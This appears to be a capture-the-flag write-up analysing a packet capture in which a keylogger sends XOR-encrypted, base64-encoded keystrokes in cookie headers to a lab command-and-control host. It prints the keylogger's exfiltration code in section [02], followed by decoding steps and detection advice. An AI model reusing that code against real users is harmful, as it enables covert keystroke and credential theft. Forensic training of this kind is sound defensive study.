- pcap from the guest net:
httpfilter, sort by Length, find the biggest source. - the server serves
/temp/updates.py: a keylogger exfiltrating each keystroke in thehotel_sess_stateCookie. GET /beacon every second: pull the cookies in order withtshark -e http.cookie.- it encrypts one character at a time: the key index never advances, so it stays single-byte XOR with
H. - Base64 + XOR
Hin CyberChef →THM{...}.
No box to deploy: you work on the file attached to the room, on your machine. You need: Wireshark (with tshark) and python3; optional CyberChef in the browser.
[01] Recon: the pcap and the tip
I download the pcap and open it in Wireshark. @0xMia already did half the work by naming port 8080, so I start there: I apply an http filter to drop the noise and keep only the traffic that matters.
# Wireshark: isolo l'HTTP e ordino per Length http # la risposta piu' grande di solito nasconde qualcosa in piu'
# Wireshark: isolate HTTP and sort by Length http # the biggest response usually hides something extra
I sort by the Length column and hunt for the fattest packet: in a sea of identical GET/POST requests, the one that's off the scale is almost always where the case cracks open. And it does.
[02] The served source: a keylogger
The fat packet is a response with Content-type: text/x-python: a GET /temp/updates.py returning the full source of the running script, served from the same host. Selecting the packet only shows the dissection: to pull the readable body I right-click → Follow → HTTP Stream (or File → Export Objects → HTTP and save updates.py). In practice the C2 hands me its own implant on a silver platter.
# keylogger servito da /temp/updates.py (Content-type: text/x-python) C2_URL = "http://byte-lotus-hotel.thm:8080/" def getkey(): # chiave "robusta" da 25 caratteri return "H0t3lSt@ff0Nly" + "K3epS3cr3t!" def xor(data, key): # indicizza la chiave con i % len(key) return bytes(b ^ key[i % len(key)] for i, b in enumerate(data)) def sendltr(character): # cifra UN carattere alla volta, poi base64 enc = xor(character.encode(), getkey().encode()) b64 = base64.b64encode(enc).decode() headers = {"Cookie": f"hotel_sess_state={b64}"} requests.get(C2_URL, headers=headers, timeout=0.5)
# keylogger served from /temp/updates.py (Content-type: text/x-python) C2_URL = "http://byte-lotus-hotel.thm:8080/" def getkey(): # a "robust" 25-char key return "H0t3lSt@ff0Nly" + "K3epS3cr3t!" def xor(data, key): # indexes the key with i % len(key) return bytes(b ^ key[i % len(key)] for i, b in enumerate(data)) def sendltr(character): # encrypts ONE character at a time, then base64 enc = xor(character.encode(), getkey().encode()) b64 = base64.b64encode(enc).decode() headers = {"Cookie": f"hotel_sess_state={b64}"} requests.get(C2_URL, headers=headers, timeout=0.5)
It's a textbook keylogger: every keystroke gets XOR'd, base64'd and shipped inside the Cookie header (hotel_sess_state) of a GET / to the C2. That explains the "pings every second" and the suspicious ByteLotusClient/1.1 User-Agent @0xMia noticed. Method note, and the first of my observations: leaving the implant on the webroot is an attacker OPSEC blunder that here spares us blind reversing.
[03] Extracting the covert channel
Now I want the beacon traffic — not the GET /temp/updates.py, but the repeated GET / to byte-lotus-hotel.thm:8080 — and from each one the Cookie value, in order. Two roads, same destination. Heads-up: the cookies.txt the [04] script runs on is only produced by the tshark road; if I use the GUI column I export it first with File → Export Packet Dissections → As CSV (or copy the column) so both roads land on the same cookies.txt.
| Custom column (GUI) | TShark (CLI) | |
|---|---|---|
| How | Right-click the Cookie field in the packet details → "Apply as Column", filter on http.request, sort by time, read the new column straight down. | One command that pulls the Cookie header from every matching packet, already in capture order. |
| Speed | Manual but quick, once the column is set up. | Fastest by far: one command, done. |
# salvo il Cookie di OGNI beacon (GET / con hotel_sess_state), in ordine di cattura tshark -r <capture.pcap> -Y 'http.cookie contains "hotel_sess_state"' \ -T fields -e http.cookie > cookies.txt
# save the Cookie of EVERY beacon (GET / with hotel_sess_state), in capture order tshark -r <capture.pcap> -Y 'http.cookie contains "hotel_sess_state"' \ -T fields -e http.cookie > cookies.txt
# cookies.txt: una riga per tasto, formato hotel_sess_state=<base64> hotel_sess_state=████ hotel_sess_state=████ hotel_sess_state=████ # ... 30 righe in totale (valori mascherati: policy)
# cookies.txt: one line per key, format hotel_sess_state=<base64> hotel_sess_state=████ hotel_sess_state=████ hotel_sess_state=████ # ... 30 lines total (values masked: policy)
Result: 30 base64 strings, one per keystroke. Each decodes to a single encrypted byte. Now I just have to reverse the encryption.
[04] Decoding: single-byte XOR
To decode I retrace the script backwards: base64-decode and then XOR with the same key. The real question is: which part of the key?
Here's the detail I enjoy. xor() indexes the key with i % len(key), but sendltr() encrypts one character at a time: the message is 1 byte long, so i is always 0 and the index never moves past the first character. The "robust" 25-char key collapses to a single byte: H (0x48). It's effectively single-byte XOR — brute-forceable in 256 tries, and with THM{ as known plaintext you don't even need to guess the key: it generalizes to any "per-token encryption" that resets its state on every call.
# decodifica: strip prefisso, base64, XOR con 'H' (0x48) — XOR a byte singolo python3 -c 'import base64 out="" for line in open("cookies.txt"): v=line.strip().split("hotel_sess_state=")[-1] if not v: continue out+="".join(chr(x^0x48) for x in base64.b64decode(v)) print(out)' # -> la flag (in chiaro solo sul TUO pcap)
# decode: strip prefix, base64, XOR with 'H' (0x48) -- single-byte XOR python3 -c 'import base64 out="" for line in open("cookies.txt"): v=line.strip().split("hotel_sess_state=")[-1] if not v: continue out+="".join(chr(x^0x48) for x in base64.b64decode(v)) print(out)' # -> the flag (cleartext only on YOUR pcap)
[05] Flag and defense
Careful: cookies.txt still carries the hotel_sess_state= prefix on every line, and the From Base64 op would eat it as data and return garbage bytes. I strip it first (or add a Find / Replace hotel_sess_state= → empty at the top of the recipe), then run the clean base64 through the CyberChef recipe (From Base64 → XOR with key H, standard scheme) and the bytes realign into readable text. There's the flag.
# tolgo il prefisso hotel_sess_state= (From Base64 lo mangerebbe come dati) sed 's/^hotel_sess_state=//' cookies.txt > b64.txt # poi incollo b64.txt in CyberChef (oppure Find/Replace hotel_sess_state= -> vuoto in cima alla ricetta)
# strip the hotel_sess_state= prefix (From Base64 would eat it as data) sed 's/^hotel_sess_state=//' cookies.txt > b64.txt # then paste b64.txt into CyberChef (or a Find/Replace hotel_sess_state= -> empty at the top of the recipe)
THM{████████████████████}
You won't find the flag here: the value itself teaches nothing, and half the fun is getting there. The methodology above is complete and reproducible — the last Enter is yours to press.
The takeaway isn't the single crypto trick, but how it showed itself. This channel needed no sophisticated malware: a perfectly valid Cookie header on a perfectly normal GET.
Malicious traffic doesn't have to look scary: what gave it away was the pattern, not the content — same host, same port, a beacon every second, a fixed User-Agent. Defend on behavior: periodicity and zero jitter, anomalous entropy in cookie values, sessions that never actually establish. And if a server hands you the source (/temp/updates.py), read it: attacker-side, don't leave the implant on the webroot; defender-side, that file is your signed confession.